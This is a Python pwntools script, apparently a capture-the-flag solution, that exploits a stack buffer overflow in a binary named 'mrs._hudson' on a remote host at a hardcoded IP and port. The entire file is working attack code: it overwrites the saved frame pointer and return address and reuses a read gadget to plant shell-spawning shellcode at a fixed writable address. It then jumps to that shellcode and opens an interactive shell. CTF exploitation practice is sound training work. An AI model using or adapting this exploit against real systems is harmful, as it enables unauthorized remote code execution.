script.py

#!/usr/bin/env python2
from pwn import *

exe = context.binary = ELF("./mrs._hudson")
#conn = process(exe.path)
conn = remote("178.62.249.106", 8642)
conn.recvline_contains("Let's go back to 2000.")
bufsize = 0x70
base = 0x601000
info("using base: %#x", base)

read = p64(0x0040066f)
conn.sendline(fit({
    bufsize: [
        p64(base+0x70),  # rbp
        read,            # ret
    ]
}))

conn.sendline(fit({
    0x0: asm(shellcraft.sh(), vma=base),
    0x70: [
        p64(0xdeadbeef), # rbp
        p64(base) # ret
    ]
}))
conn.interactive()